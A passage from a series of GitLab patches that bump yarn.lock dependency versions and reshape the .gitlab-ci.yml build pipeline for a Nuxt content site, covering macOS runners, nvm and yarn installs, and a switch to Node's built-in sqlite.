-  integrity sha512-mI//trrsaiCIPsja5CNfsyNOqgAZUb6VpJA+340toL42UpzQlXpwRV9nch69X6gaUxrr9kaOOa6e3y3uAkGFxQ==
-  dependencies:
-    "@shikijs/core" "2.5.0"
-    "@shikijs/engine-javascript" "2.5.0"
-    "@shikijs/engine-oniguruma" "2.5.0"
-    "@shikijs/langs" "2.5.0"
-    "@shikijs/themes" "2.5.0"
-    "@shikijs/types" "2.5.0"
+shiki@^3.0.0, shiki@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/shiki/-/shiki-3.1.0.tgz#6fe4c7f87dc89b97c5a95a252d1532e064e914bf"
+  integrity sha512-LdTNyWQlC5zdCaHdcp1zPA1OVA2ivb+KjGOOnGcy02tGaF5ja+dGibWFH7Ar8YlngUgK/scDqworK18Ys9cbYA==
+  dependencies:
+    "@shikijs/core" "3.1.0"
+    "@shikijs/engine-javascript" "3.1.0"
+    "@shikijs/engine-oniguruma" "3.1.0"
+    "@shikijs/langs" "3.1.0"
+    "@shikijs/themes" "3.1.0"
+    "@shikijs/types" "3.1.0"
     "@shikijs/vscode-textmate" "^10.0.2"
     "@types/hast" "^3.0.4"
 
@@ -11438,10 +11477,10 @@ sisteransi@^1.0.5:
   resolved "https://registry.yarnpkg.com/sisteransi/-/sisteransi-1.0.5.tgz#134d681297756437cc05ca01370d3a7a571075ed"
   integrity sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==
 
-site-config-stack@3.1.1:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/site-config-stack/-/site-config-stack-3.1.1.tgz#fe24eb894ec10a6486b9a884b9ed26eccbcf9f66"
-  integrity sha512-hIDGCIsfoOLjni4yy7EC4LpPMF5+Le3PvQ9/YCi/l4F+g7OKNE1ksemnQMsA8gDJ+duFJFWL4k2fO9jSzz3aZw==
+site-config-stack@3.1.3:
+  version "3.1.3"
+  resolved "https://registry.yarnpkg.com/site-config-stack/-/site-config-stack-3.1.3.tgz#0fc70b18dc3811ddaddf4e22711cbcacb204fd25"
+  integrity sha512-ejxQOrdUFMPT0ijzq3fiNKcbxHZ50KHGHZzVqLMdl7+ota4dO+yynZaar6Z/ji3+cSHJaNDA/CVQ5UZ12wbYTQ==
   dependencies:
     ufo "^1.5.4"
 
@@ -11636,10 +11675,10 @@ statuses@2.0.1:
   resolved "https://registry.yarnpkg.com/statuses/-/statuses-2.0.1.tgz#55cb000ccf1d48728bd23c685a063998cf1a1b63"
   integrity sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==
 
-std-env@^3.7.0, std-env@^3.8.0:
-  version "3.8.0"
-  resolved "https://registry.yarnpkg.com/std-env/-/std-env-3.8.0.tgz#b56ffc1baf1a29dcc80a3bdf11d7fca7c315e7d5"
-  integrity sha512-Bc3YwwCB+OzldMxOXJIIvC6cPRWr/LxOp48CdQTOkPyk/t4JWWJbrilwBd7RJzKV8QW7tJkcgAmeuLLJugl5/w==
+std-env@^3.7.0, std-env@^3.8.0, std-env@^3.8.1:
+  version "3.8.1"
+  resolved "https://registry.yarnpkg.com/std-env/-/std-env-3.8.1.tgz#2b81c631c62e3d0b964b87f099b8dcab6c9a5346"
+  integrity sha512-vj5lIj3Mwf9D79hBkltk5qmkFI+biIKWS2IBxEyEU3AX1tUf7AoL8nSazCOiiqQsGKIq01SClsKEzweu34uwvA==
 
 stream-combiner2@~1.1.1:
   version "1.1.1"
@@ -11824,6 +11863,11 @@ superjson@^2.2.1:
   dependencies:
     copy-anything "^3.0.2"
 
+supports-color@^10.0.0:
+  version "10.0.0"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-10.0.0.tgz#32000d5e49f1ae70b2645d47701004644a1d7b90"
+  integrity sha512-HRVVSbCCMbj7/kdWF9Q+bbckjBHLtHMEoJWlkmYzzdwhYMkjkOwubLM6t7NbWKjgKamGDrWL1++KrjUO1t9oAQ==
+
 supports-color@^5.3.0:
   version "5.5.0"
   resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f"
@@ -11856,11 +11900,6 @@ supports-preserve-symlinks-flag@^1.0.0:
   resolved "https://registry.yarnpkg.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz#6eda4bd344a3c94aea376d4cc31bc77311039e09"
   integrity sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==
 
-svg-tags@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/svg-tags/-/svg-tags-1.0.0.tgz#58f71cee3bd519b59d4b2a843b6c7de64ac04764"
-  integrity sha512-ovssysQTa+luh7A5Weu3Rta6FJlFBBbInjOh722LIt6klpU2/HtdUbszju/G4devcvk8PGt7FCLv5wftu3THUA==
-
 svgo@^3.2.0, svgo@^3.3.2:
   version "3.3.2"
   resolved "https://registry.yarnpkg.com/svgo/-/svgo-3.3.2.tgz#ad58002652dffbb5986fc9716afe52d869ecbda8"
@@ -12207,9 +12246,9 @@ type-fest@^2.12.2:
   integrity sha512-RAH822pAdBgcNMAfWnCBU3CFZcfZ/i1eZjwFU/dsLKumyuuP3niueg2UAukXYF0E2AAoc82ZSSf9J0WQBinzHA==
 
 type-fest@^4.18.2, type-fest@^4.6.0, type-fest@^4.7.1:
-  version "4.35.0"
-  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-4.35.0.tgz#007ed74d65c2ca0fb3b564b3dc8170d5c872d665"
-  integrity sha512-2/AwEFQDFEy30iOLjrvHDIH7e4HEWH+f1Yl1bI5XMqzuoCUqwYCdxachgsgv0og/JdVZUhbfjcJAoHj5L1753A==
+  version "4.37.0"
+  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-4.37.0.tgz#7cf008bf77b63a33f7ca014fa2a3f09fd69e8937"
+  integrity sha512-S/5/0kFftkq27FPNye0XM1e2NsnoD/3FS+pBmbjmmtLT6I+i344KoOf7pvXreaFsDamWeaJX55nczA1m5PsBDg==
 
 type-level-regexp@~0.1.17:
   version "0.1.17"
@@ -12217,9 +12256,9 @@ type-level-regexp@~0.1.17:
   integrity sha512-wTk4DH3cxwk196uGLK/E9pE45aLfeKJacKmcEgEOA/q5dnPGNxXt0cfYdFxb57L+sEpf1oJH4Dnx/pnRcku9jg==
 
 typescript@^5.5.0, typescript@^5.7.3:
-  version "5.7.3"
-  resolved "https://registry.yarnpkg.com/typescript/-/typescript-5.7.3.tgz#919b44a7dbb8583a9b856d162be24a54bf80073e"
-  integrity sha512-84MVSjMEHP+FQRPy3pX9sTVV/INIex71s9TL2Gm5FG/WG1SqXeKyZ0k7/blY/4FdOzI12CBy1vGc4og/eus0fw==
+  version "5.8.2"
+  resolved "https://registry.yarnpkg.com/typescript/-/typescript-5.8.2.tgz#8170b3702f74b79db2e5a96207c15e65807999e4"
+  integrity sha512-aJn6wq13/afZp/jT9QZmwEjDqqvSGp1VT5GVg+f/t6/oVyrgXM6BY1h9BRh/O5p3PlUPAe+WuiEZOmb/49RqoQ==
 
 uc.micro@^2.0.0, uc.micro@^2.1.0:
   version "2.1.0"
@@ -12255,7 +12294,7 @@ uncrypto@^0.1.3:
   resolved "https://registry.yarnpkg.com/uncrypto/-/uncrypto-0.1.3.tgz#e1288d609226f2d02d8d69ee861fa20d8348ef2b"
   integrity sha512-Ql87qFHB3s/De2ClA9e0gsnS6zXG27SkTiSJwjCc9MebbfapQfuPzumMIUMi38ezPZVNFcHI9sUIepeQfw8J8Q==
 
-unctx@^2.3.1, unctx@^2.4.1:
+unctx@^2.4.1:
   version "2.4.1"
   resolved "https://registry.yarnpkg.com/unctx/-/unctx-2.4.1.tgz#93346a98d4a38c64cc5861f6098f4ce7c6f8164a"
   integrity sha512-AbaYw0Nm4mK4qjhns67C+kgxR2YWiwlDBPzxrN8h8C6VtAdCgditAY5Dezu3IJy4XVqAnbrXt9oQJvsn3fyozg==
@@ -12275,6 +12314,17 @@ undici@^6.19.5:
   resolved "https://registry.yarnpkg.com/undici/-/undici-6.21.1.tgz#336025a14162e6837e44ad7b819b35b6c6af0e05"
   integrity sha512-q/1rj5D0/zayJB2FraXdaWxbhWiNKDvu8naDT2dl1yTlvJp4BLtOcp2a5BvgGNQpYYJzau7tf1WgKv3b+7mqpQ==
 
+unenv@2.0.0-rc.12:
+  version "2.0.0-rc.12"
+  resolved "https://registry.yarnpkg.com/unenv/-/unenv-2.0.0-rc.12.tgz#dca92b2db5cff87930c174b6b3a11b95b22154db"
+  integrity sha512-aygmJLhrEnuLKDCISMoOL7ceRJeksnvXJXvtEvFei4zoOXQfvQkUGhZe8u//iK5C++M4pq3CsMbhVjFmWvOlmA==
+  dependencies:
+    defu "^6.1.4"
+    exsolve "^1.0.1"
+    ohash "^2.0.10"
+    pathe "^2.0.3"
+    ufo "^1.5.4"
+
 unenv@^1.10.0:
   version "1.10.0"
   resolved "https://registry.yarnpkg.com/unenv/-/unenv-1.10.0.tgz#c3394a6c6e4cfe68d699f87af456fe3f0db39571"
@@ -12358,7 +12408,7 @@ unifont@^0.1.6:
     css-tree "^3.0.0"
     ohash "^1.1.4"
 
-unimport@^3.11.1, unimport@^3.13.0, unimport@^3.13.1, unimport@^3.14.5:
+unimport@^3.11.1, unimport@^3.13.0, unimport@^3.14.5:
   version "3.14.6"
   resolved "https://registry.yarnpkg.com/unimport/-/unimport-3.14.6.tgz#f01170aa2fb94c4f97b22c0ac2822ef7e8e0726d"
   integrity sha512-CYvbDaTT04Rh8bmD8jz3WPmHYZRG/NnvYVzwD6V1YAlvvKROlAeNDUBhkBGzNav2RKaeuXvlWYaa1V4Lfi/O0g==
@@ -12378,7 +12428,7 @@ unimport@^3.11.1, unimport@^3.13.0, unimport@^3.13.1, unimport@^3.14.5:
     strip-literal "^2.1.1"
     unplugin "^1.16.1"
 
-unimport@^4.0.0:
+unimport@^4.0.0, unimport@^4.1.2:
   version "4.1.2"
   resolved "https://registry.yarnpkg.com/unimport/-/unimport-4.1.2.tgz#10ba452519ec23113c1e68b8e9ab26c307a6eebd"
   integrity sha512-oVUL7PSlyVV3QRhsdcyYEMaDX8HJyS/CnUonEJTYA3//bWO+o/4gG8F7auGWWWkrrxBQBYOO8DKe+C53ktpRXw==
@@ -12597,7 +12647,7 @@ unplugin@^2.0.0, unplugin@^2.1.0, unplugin@^2.1.2, unplugin@^2.2.0:
     acorn "^8.14.0"
     webpack-virtual-modules "^0.6.2"
 
-unstorage@^1.10.1, unstorage@^1.12.0, unstorage@^1.13.1, unstorage@^1.14.4:
+unstorage@^1.10.1, unstorage@^1.12.0, unstorage@^1.13.1, unstorage@^1.14.4, unstorage@^1.15.0:
   version "1.15.0"
   resolved "https://registry.yarnpkg.com/unstorage/-/unstorage-1.15.0.tgz#d1f23cba0901c5317d15a751a299e50fbb637674"
   integrity sha512-m40eHdGY/gA6xAPqo8eaxqXgBuzQTlAKfmB1iF7oCKXE1HfwHwzDJBywK+qQGn52dta+bPlZluPF7++yR3p/bg==
@@ -12620,7 +12670,7 @@ untun@^0.1.3:
     consola "^3.2.3"
     pathe "^1.1.1"
 
-untyped@^1.5.1, untyped@^1.5.2:
+untyped@^1.5.2:
   version "1.5.2"
   resolved "https://registry.yarnpkg.com/untyped/-/untyped-1.5.2.tgz#36e892fab34172a9bc1d31004332ac2173b9d694"
   integrity sha512-eL/8PlhLcMmlMDtNPKhyyz9kEBDS3Uk4yMu/ewlkT2WFbtzScjHWPJLdQLmaGPUKjXzwe9MumOtOgc4Fro96Kg==
@@ -12634,6 +12684,17 @@ untyped@^1.5.1, untyped@^1.5.2:
     knitwork "^1.2.0"
     scule "^1.3.0"
 
+untyped@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/untyped/-/untyped-2.0.0.tgz#86bc205a4ec4b0137282285866b8278557aeee97"
+  integrity sha512-nwNCjxJTjNuLCgFr42fEak5OcLuB3ecca+9ksPFNvtfYSLpjf+iJqSIaSnIile6ZPbKYxI5k2AfXqeopGudK/g==
+  dependencies:
+    citty "^0.1.6"
+    defu "^6.1.4"
+    jiti "^2.4.2"
+    knitwork "^1.2.0"
+    scule "^1.3.0"
+
 unwasm@^0.3.9:
   version "0.3.9"
   resolved "https://registry.yarnpkg.com/unwasm/-/unwasm-0.3.9.tgz#01eca80a1cf2133743bc1bf5cfa749cc145beea0"
@@ -12897,19 +12958,19 @@ vue-bundle-renderer@^2.1.1:
     ufo "^1.5.4"
 
 vue-component-meta@^2.2.0:
-  version "2.2.4"
-  resolved "https://registry.yarnpkg.com/vue-component-meta/-/vue-component-meta-2.2.4.tgz#330678c7d9f7d6ceccb3218dba673095be6311ed"
-  integrity sha512-Nv2B3+PwSH84ZpJDvOdn+kvkWv0kJAke6VljiFDatpE169C4Gt8oEUPoF5LdUkrdpjbWa4vvIDV4uueA8RSnaQ==
+  version "2.2.8"
+  resolved "https://registry.yarnpkg.com/vue-component-meta/-/vue-component-meta-2.2.8.tgz#fee2541aaa51e574846492c60d439da1837a377d"
+  integrity sha512-fgcP61P45AA1DacW+/532mivO5j48EEpmI7To8PK3gCVgL023QuEAPzfTA9hB6lW2hgdqiMf4gLON972pYC2+g==
   dependencies:
     "@volar/typescript" "~2.4.11"
-    "@vue/language-core" "2.2.4"
+    "@vue/language-core" "2.2.8"
     path-browserify "^1.0.1"
-    vue-component-type-helpers "2.2.4"
+    vue-component-type-helpers "2.2.8"
 
-vue-component-type-helpers@2.2.4:
-  version "2.2.4"
-  resolved "https://registry.yarnpkg.com/vue-component-type-helpers/-/vue-component-type-helpers-2.2.4.tgz#85c528441aa546679c951ccf249764d70690f930"
-  integrity sha512-F66p0XLbAu92BRz6kakHyAcaUSF7HWpWX/THCqL0TxySSj7z/nok5UUMohfNkkCm1pZtawsdzoJ4p1cjNqCx0Q==
+vue-component-type-helpers@2.2.8:
+  version "2.2.8"
+  resolved "https://registry.yarnpkg.com/vue-component-type-helpers/-/vue-component-type-helpers-2.2.8.tgz#66d25e4405a4bcc06a22aa4c01e35141343da580"
+  integrity sha512-4bjIsC284coDO9om4HPA62M7wfsTvcmZyzdfR0aUlFXqq4tXxM1APyXpNVxPC8QazKw9OhmZNHBVDA6ODaZsrA==
 
 vue-demi@>=0.14.10:
   version "0.14.10"
@@ -13148,12 +13209,11 @@ yaml-ast-parser@0.0.43:
   integrity sha512-2PTINUwsRqSd+s8XxKaJWQlUuEMHJQyEuh2edBbW8KNJz0SJPwUSD2zRWqezFEdN7IzAgeuYHFUCF7o8zRdZ0A==
 
 yaml-eslint-parser@^1.2.1, yaml-eslint-parser@^1.2.2:
-  version "1.2.3"
-  resolved "https://registry.yarnpkg.com/yaml-eslint-parser/-/yaml-eslint-parser-1.2.3.tgz#3a8ae839fc8df376ef8497add7f40942b493389c"
-  integrity sha512-4wZWvE398hCP7O8n3nXKu/vdq1HcH01ixYlCREaJL5NUMwQ0g3MaGFUBNSlmBtKmhbtVG/Cm6lyYmSVTEVil8A==
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/yaml-eslint-parser/-/yaml-eslint-parser-1.3.0.tgz#975dd11f8349e18c15c88b0e41a6d0b0377969cd"
+  integrity sha512-E/+VitOorXSLiAqtTd7Yqax0/pAS3xaYMP+AUUJGOK1OZG3rhcj9fcJOM5HJ2VrP1FrStVCWr1muTfQCdj4tAA==
   dependencies:
     eslint-visitor-keys "^3.0.0"
-    lodash "^4.17.21"
     yaml "^2.0.0"
 
 yaml@^1.10.0:
@@ -13222,6 +13282,24 @@ yoga-wasm-web@^0.3.3:
   resolved "https://registry.yarnpkg.com/yoga-wasm-web/-/yoga-wasm-web-0.3.3.tgz#eb8e9fcb18e5e651994732f19a220cb885d932ba"
   integrity sha512-N+d4UJSJbt/R3wqY7Coqs5pcV0aUj2j9IaQ3rNj9bVCLld8tTGKRa2USARjnvZJWVx1NDmQev8EknoczaOQDOA==
 
+youch-core@^0.3.1:
+  version "0.3.1"
+  resolved "https://registry.yarnpkg.com/youch-core/-/youch-core-0.3.1.tgz#65cfa335a0f55f956a9d67424087bcac45d459e4"
+  integrity sha512-KOAmtABz17fgK+uBBJYIzaPpIgX+JgTRgY4t3zXH18akc5rRtFkRmcNTMCuSxLdbOJDY9+T/O3nyA/EQuN4EWA==
+  dependencies:
+    "@poppinss/exception" "^1.2.0"
+    error-stack-parser-es "^0.1.5"
+
+youch@4.1.0-beta.5:
+  version "4.1.0-beta.5"
+  resolved "https://registry.yarnpkg.com/youch/-/youch-4.1.0-beta.5.tgz#1ebda38d524c0720c894bae8ad56b75578d0742b"
+  integrity sha512-92+bvKtAjm18S2o+IP0aLBpLtzY332Ji9geNLp07cLgHsK3aHVjWrg2eyE5LIKMv6j+GWu+Ehx4My7BTXxMbsA==
+  dependencies:
+    "@poppinss/dumper" "^0.6.2"
+    "@speed-highlight/core" "^1.2.7"
+    cookie "^1.0.2"
+    youch-core "^0.3.1"
+
 zhead@^2.2.4:
   version "2.2.4"
   resolved "https://registry.yarnpkg.com/zhead/-/zhead-2.2.4.tgz#87cd1e2c3d2f465fa9f43b8db23f9716dfe6bed7"
-- 
GitLab


From 7c000485209e999b99b2c85bf2b95fb2b3608811 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 13:02:10 -0500
Subject: [PATCH 44/56] typo

---
 .gitlab-ci.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 022950c2d..92b6f0c3b 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -6,7 +6,7 @@ default:
     - saas-linux-xlarge-amd64
 
 .build-image:
-  image: macos-14-xcode-16
+  image: macos-15-xcode-16
   tags:
     - saas-macos-large-m2pro
 
-- 
GitLab


From ed0909432435336fc60a7a290ff9370f5885bd83 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 13:15:32 -0500
Subject: [PATCH 45/56] try node version at 22.11

---
 .gitlab-ci.yml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 92b6f0c3b..5e59be52e 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -120,6 +120,8 @@ build:
     - .build-image
   stage: build
   before_script:
+    - brew install node@22.11 || brew upgrade node@22.11
+    - export PATH="/usr/local/opt/node@22.11/bin:$PATH"
     - apt-get update && apt-get install -y --no-install-recommends git sqlite3
   script:
     - sqlite3 gitlab-content.db "VACUUM;"
-- 
GitLab


From 8b0c853745b59cd1f128ee006c77f680440a41df Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 13:24:36 -0500
Subject: [PATCH 46/56] try installing and building with the same image

---
 .gitlab-ci.yml | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 5e59be52e..1a3795e74 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -39,6 +39,8 @@ stages:
 # Install Staging Dependencies
 ###################################
 install-staging:
+  extends:
+    - .build-image
   stage: prepare
   script:
     - yarn install --frozen-lockfile
@@ -59,6 +61,8 @@ install-staging:
 # Install Production Dependencies
 ###################################
 install-production:
+  extends:
+    - .build-image
   stage: prepare
   script:
     - yarn install --frozen-lockfile
@@ -120,8 +124,6 @@ build:
     - .build-image
   stage: build
   before_script:
-    - brew install node@22.11 || brew upgrade node@22.11
-    - export PATH="/usr/local/opt/node@22.11/bin:$PATH"
     - apt-get update && apt-get install -y --no-install-recommends git sqlite3
   script:
     - sqlite3 gitlab-content.db "VACUUM;"
-- 
GitLab


From b163a4bfcda62b9de564bb0f6c7305bc0e444f92 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 13:41:04 -0500
Subject: [PATCH 47/56] install nvm on the macos runner

---
 .gitlab-ci.yml | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 1a3795e74..f0d97d13e 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -39,8 +39,6 @@ stages:
 # Install Staging Dependencies
 ###################################
 install-staging:
-  extends:
-    - .build-image
   stage: prepare
   script:
     - yarn install --frozen-lockfile
@@ -79,7 +77,6 @@ install-production:
 ###################################
 # Lint Stage
 ###################################
-
 lint-and-prettier:
   dependencies:
     - install-staging
@@ -124,6 +121,12 @@ build:
     - .build-image
   stage: build
   before_script:
+    - brew install nvm
+    - mkdir -p ~/.nvm
+    - export NVM_DIR="$HOME/.nvm"
+    - source "$(brew --prefix nvm)/nvm.sh"
+    - nvm install 22.11
+    - nvm use 22.11
     - apt-get update && apt-get install -y --no-install-recommends git sqlite3
   script:
     - sqlite3 gitlab-content.db "VACUUM;"
-- 
GitLab


From 05e74173cc12699231e6e769783d2106cded8a36 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 14:13:40 -0500
Subject: [PATCH 48/56] try installing yarn

---
 .gitlab-ci.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index f0d97d13e..3cc0c6d37 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -127,7 +127,7 @@ build:
     - source "$(brew --prefix nvm)/nvm.sh"
     - nvm install 22.11
     - nvm use 22.11
-    - apt-get update && apt-get install -y --no-install-recommends git sqlite3
+    - brew install yarn
   script:
     - sqlite3 gitlab-content.db "VACUUM;"
     - sqlite3 < sqlite-config.sql
-- 
GitLab


From 6d2169af33294ded98e411d0c010a5bfb3076935 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 14:40:48 -0500
Subject: [PATCH 49/56] The dependencies appear to be correlated with the OS?

---
 .gitlab-ci.yml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 3cc0c6d37..85dbbe56d 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -39,6 +39,8 @@ stages:
 # Install Staging Dependencies
 ###################################
 install-staging:
+  extends:
+    - .build-image
   stage: prepare
   script:
     - yarn install --frozen-lockfile
-- 
GitLab


From 1604941b43e8eae35cfedf87c26ae647532c7c62 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 15:10:21 -0500
Subject: [PATCH 50/56] Need to re-use image when sharing artifacts

---
 .gitlab-ci.yml | 14 ++++++++++----
 1 file changed, 10 insertions(+), 4 deletions(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 85dbbe56d..989ec41a0 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -5,7 +5,7 @@ default:
   tags:
     - saas-linux-xlarge-amd64
 
-.build-image:
+.macos-image:
   image: macos-15-xcode-16
   tags:
     - saas-macos-large-m2pro
@@ -40,7 +40,7 @@ stages:
 ###################################
 install-staging:
   extends:
-    - .build-image
+    - .macos-image
   stage: prepare
   script:
     - yarn install --frozen-lockfile
@@ -62,7 +62,7 @@ install-staging:
 ###################################
 install-production:
   extends:
-    - .build-image
+    - .macos-image
   stage: prepare
   script:
     - yarn install --frozen-lockfile
@@ -80,6 +80,8 @@ install-production:
 # Lint Stage
 ###################################
 lint-and-prettier:
+  extends:
+    - .macos-image
   dependencies:
     - install-staging
     - install-production
@@ -100,6 +102,8 @@ lint-and-prettier:
     - yarn lint:all
 
 check-duplicate-slugs:
+  extends:
+    - .macos-image
   dependencies:
     - install-staging
     - install-production
@@ -120,7 +124,7 @@ check-duplicate-slugs:
 ###################################
 build:
   extends:
-    - .build-image
+    - .macos-image
   stage: build
   before_script:
     - brew install nvm
@@ -163,6 +167,8 @@ build:
 # Test Stage
 ###################################
 check_image_sizes:
+  extends:
+    - .macos-image
   stage: lint
   dependencies:
     - install-staging
-- 
GitLab


From 73d3d3338afb961c974cb44dd3b60ae367c38a15 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 15:42:08 -0500
Subject: [PATCH 51/56] See if we can speed homebrew up

---
 .gitlab-ci.yml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 989ec41a0..09ac7b8b6 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -127,6 +127,8 @@ build:
     - .macos-image
   stage: build
   before_script:
+    - export HOMEBREW_NO_AUTO_UPDATE=1
+    - export HOMEBREW_NO_INSTALL_CLEANUP=1
     - brew install nvm
     - mkdir -p ~/.nvm
     - export NVM_DIR="$HOME/.nvm"
-- 
GitLab


From 589619dd515dc68ef68ecee3f1f5c8d06bdcd62c Mon Sep 17 00:00:00 2001
From: Chris Fraser <cfraser@gitlab.com>
Date: Wed, 5 Mar 2025 16:13:02 -0500
Subject: [PATCH 52/56] Update git ignore, up concurrency

---
 .gitignore     | 2 +-
 nuxt.config.ts | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/.gitignore b/.gitignore
index 0e83511d2..7874c2467 100644
--- a/.gitignore
+++ b/.gitignore
@@ -26,4 +26,4 @@ logs
 # Dev Containers
 .devcontainer
 
-gitlabcontent.db
\ No newline at end of file
+*.db
\ No newline at end of file
diff --git a/nuxt.config.ts b/nuxt.config.ts
index 258680fb7..5824aeec0 100644
--- a/nuxt.config.ts
+++ b/nuxt.config.ts
@@ -172,7 +172,7 @@ export default defineNuxtConfig({
     prerender: {
       crawlLinks: false,
       ignore: ['/200'],
-      concurrency: 64,
+      concurrency: 500,
     },
   },
   // https://nuxt.com/docs/getting-started/prerendering#prerenderroutes-nuxt-hook
-- 
GitLab


From 0f8d6e97f443b4fa75684e4d4a3eafac831a72d8 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Tue, 25 Mar 2025 14:14:32 -0400
Subject: [PATCH 53/56] Use node sqlite

---
 .gitlab-ci.yml                                | 51 ++++++++++---------
 ...a-little-help-from-ai-code-suggestions.yml | 42 ---------------
 ...a-little-help-from-ai-code-suggestions.yml | 42 ---------------
 nuxt.config.ts                                |  9 ++--
 sqlite-config.sql                             |  4 --
 5 files changed, 29 insertions(+), 119 deletions(-)
 delete mode 100644 content/de-de/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml
 delete mode 100644 content/fr-fr/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml
 delete mode 100755 sqlite-config.sql

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 242bb0842..ff20a5ae6 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -5,10 +5,10 @@ default:
   tags:
     - saas-linux-xlarge-amd64
 
-.macos-image:
-  image: macos-15-xcode-16
-  tags:
-    - saas-macos-large-m2pro
+# .macos-image:
+#   image: macos-15-xcode-16
+#   tags:
+#     - saas-macos-large-m2pro
 
 # Specific GCS image for deployment (to be used in deployment jobs)
 .deployment-image:
@@ -46,8 +46,8 @@ variables:
 # Install Staging Dependencies
 ###################################
 install-staging:
-  extends:
-    - .macos-image
+  # extends:
+  #   - .macos-image
   stage: prepare
   script:
     - yarn install --frozen-lockfile
@@ -68,8 +68,8 @@ install-staging:
 # Install Production Dependencies
 ###################################
 install-production:
-  extends:
-    - .macos-image
+  # extends:
+  #   - .macos-image
   stage: prepare
   script:
     - yarn install --frozen-lockfile
@@ -129,8 +129,8 @@ lint-and-prettier:
     - yarn lint:all
 
 check-duplicate-slugs:
-  extends:
-    - .macos-image
+  # extends:
+  #   - .macos-image
   dependencies:
     - install-staging
     - install-production
@@ -152,22 +152,23 @@ check-duplicate-slugs:
 # Build Stage
 ###################################
 build:
-  extends:
-    - .macos-image
+  # extends:
+  #   - .macos-image
   stage: build
   before_script:
-    - export HOMEBREW_NO_AUTO_UPDATE=1
-    - export HOMEBREW_NO_INSTALL_CLEANUP=1
-    - brew install nvm
-    - mkdir -p ~/.nvm
-    - export NVM_DIR="$HOME/.nvm"
-    - source "$(brew --prefix nvm)/nvm.sh"
-    - nvm install 22.11
-    - nvm use 22.11
-    - brew install yarn
+    - apt-get update && apt-get install -y --no-install-recommends git
+    # - export HOMEBREW_NO_AUTO_UPDATE=1
+    # - export HOMEBREW_NO_INSTALL_CLEANUP=1
+    # - brew install nvm
+    # - mkdir -p ~/.nvm
+    # - export NVM_DIR="$HOME/.nvm"
+    # - source "$(brew --prefix nvm)/nvm.sh"
+    # - nvm install 22.11
+    # - nvm use 22.11
+    # - brew install yarn
   script:
-    - sqlite3 gitlab-content.db "VACUUM;"
-    - sqlite3 < sqlite-config.sql
+    # - sqlite3 gitlab-content.db "VACUUM;"
+    # - sqlite3 < sqlite-config.sql
     - chmod +x ./scripts/diff_checker.sh
     - ./scripts/diff_checker.sh
   dependencies:
@@ -200,8 +201,8 @@ build:
 # Test Stage
 ###################################
 check_image_sizes:
-  extends:
-    - .macos-image
+  # extends:
+  #   - .macos-image
   stage: lint
